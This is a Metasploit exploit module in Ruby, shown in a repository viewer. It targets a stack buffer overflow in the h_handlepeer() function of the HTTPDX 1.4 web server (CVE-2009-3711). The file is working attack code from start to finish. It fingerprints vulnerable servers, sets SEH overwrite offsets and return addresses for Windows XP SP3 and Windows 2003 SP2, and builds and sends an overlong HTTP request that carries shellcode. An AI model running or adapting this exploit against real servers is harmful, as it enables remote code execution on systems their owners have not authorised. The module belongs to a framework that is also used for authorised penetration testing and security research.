root / modules / exploits / windows / http / httpdx_handlepeer.rb @ master
History | View | Annotate | Download (3.6 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
##
|
| 13 |
# httpdx_handlepeer.rb
|
| 14 |
#
|
| 15 |
# HTTPDX 'h_handlepeer()' Function Buffer Overflow exploit for the Metasploit Framework
|
| 16 |
#
|
| 17 |
# Tested successfully on the following platforms
|
| 18 |
# - HTTPDX 1.4 on Microsoft Windows XP SP3
|
| 19 |
#
|
| 20 |
# This vulnerability was found by Pankaj Kohli, see references.
|
| 21 |
#
|
| 22 |
# Trancer
|
| 23 |
# http://www.rec-sec.com
|
| 24 |
##
|
| 25 |
|
| 26 |
require 'msf/core'
|
| 27 |
|
| 28 |
class Metasploit3 < Msf::Exploit::Remote |
| 29 |
Rank = GreatRanking |
| 30 |
|
| 31 |
HttpFingerprint = { :pattern => [ /httpdx\/.* \(Win32\)/ ] } |
| 32 |
|
| 33 |
include Msf::Exploit::Remote::HttpClient |
| 34 |
include Msf::Exploit::Remote::Seh |
| 35 |
|
| 36 |
def initialize(info = {}) |
| 37 |
super(update_info(info,
|
| 38 |
'Name' => 'HTTPDX h_handlepeer() Function Buffer Overflow', |
| 39 |
'Description' => %q{ |
| 40 |
This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The |
| 41 |
vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp. |
| 42 |
By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code. |
| 43 |
},
|
| 44 |
'Author' =>
|
| 45 |
[ |
| 46 |
'Pankaj Kohli <pankaj208[at]gmail.com>', # Original exploit [see References] |
| 47 |
'Trancer <mtrancer[at]gmail.com>', # Metasploit implementation |
| 48 |
'jduck'
|
| 49 |
], |
| 50 |
'Version' => '$Revision$', |
| 51 |
'References' =>
|
| 52 |
[ |
| 53 |
[ 'OSVDB', '58714' ], |
| 54 |
[ 'CVE', '2009-3711' ], |
| 55 |
[ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ], |
| 56 |
[ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ] |
| 57 |
], |
| 58 |
'DefaultOptions' =>
|
| 59 |
{
|
| 60 |
'EXITFUNC' => 'process' |
| 61 |
}, |
| 62 |
'Privileged' => true, |
| 63 |
'Payload' =>
|
| 64 |
{
|
| 65 |
'Space' => 472, |
| 66 |
# other characters get mangled, but only in a temporary buffer
|
| 67 |
'BadChars' => "\x00\x0a\x0d\x20\x25\x2e\x2f\x3f\x5c", |
| 68 |
'StackAdjustment' => -3500, |
| 69 |
# 'DisableNops' => 'True'
|
| 70 |
}, |
| 71 |
'Platform' => 'win', |
| 72 |
'Targets' =>
|
| 73 |
[ |
| 74 |
[ 'httpdx 1.4 - Windows XP SP3 English',
|
| 75 |
{
|
| 76 |
'Offset' => 476, |
| 77 |
'Ret' => 0x63b81a07, # seh handler (pop/pop/ret in n.dll) |
| 78 |
'Readable' => 0x63b80131 # early in n.dll |
| 79 |
} |
| 80 |
], |
| 81 |
[ 'httpdx 1.4 - Windows 2003 SP2 English',
|
| 82 |
{
|
| 83 |
'Offset' => 472, |
| 84 |
'Ret' => 0x63b81a07, # seh handler (pop/pop/ret in n.dll) |
| 85 |
'Readable' => 0x63b80131 # early in n.dll |
| 86 |
} |
| 87 |
] |
| 88 |
], |
| 89 |
'DefaultTarget' => 0, |
| 90 |
'DisclosureDate' => 'Oct 08 2009' |
| 91 |
)) |
| 92 |
end
|
| 93 |
|
| 94 |
def check |
| 95 |
info = http_fingerprint # check method
|
| 96 |
if info and (info =~ /httpdx\/(.*) \(Win32\)/) |
| 97 |
return Exploit::CheckCode::Vulnerable |
| 98 |
end
|
| 99 |
Exploit::CheckCode::Safe |
| 100 |
end
|
| 101 |
|
| 102 |
|
| 103 |
def exploit |
| 104 |
uri = payload.encoded |
| 105 |
if target['Offset'] > payload_space |
| 106 |
pad = target['Offset'] - payload_space
|
| 107 |
uri << rand_text(pad) |
| 108 |
end
|
| 109 |
uri << generate_seh_record(target.ret) |
| 110 |
# jmp back to shellcode
|
| 111 |
uri << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (target['Offset'] + 5).to_s).encode_string |
| 112 |
# extra causing hitting end of the stack
|
| 113 |
uri << rand_text_alphanumeric(1024)
|
| 114 |
|
| 115 |
uri[620,4] = [target['Readable']].pack('V') # arg (must be readable) |
| 116 |
|
| 117 |
sploit = '/' + rand_text(3) + '=' + uri |
| 118 |
|
| 119 |
# an empty host header gives us 512 bytes in the client structure
|
| 120 |
# (the client->filereq and client->host buffers are adjacement in memory)
|
| 121 |
datastore['VHOST'] = '' |
| 122 |
|
| 123 |
print_status("Trying target #{target.name}...")
|
| 124 |
res = send_request_raw( |
| 125 |
{
|
| 126 |
'uri' => sploit
|
| 127 |
}, 5)
|
| 128 |
|
| 129 |
handler |
| 130 |
end
|
| 131 |
|
| 132 |
end
|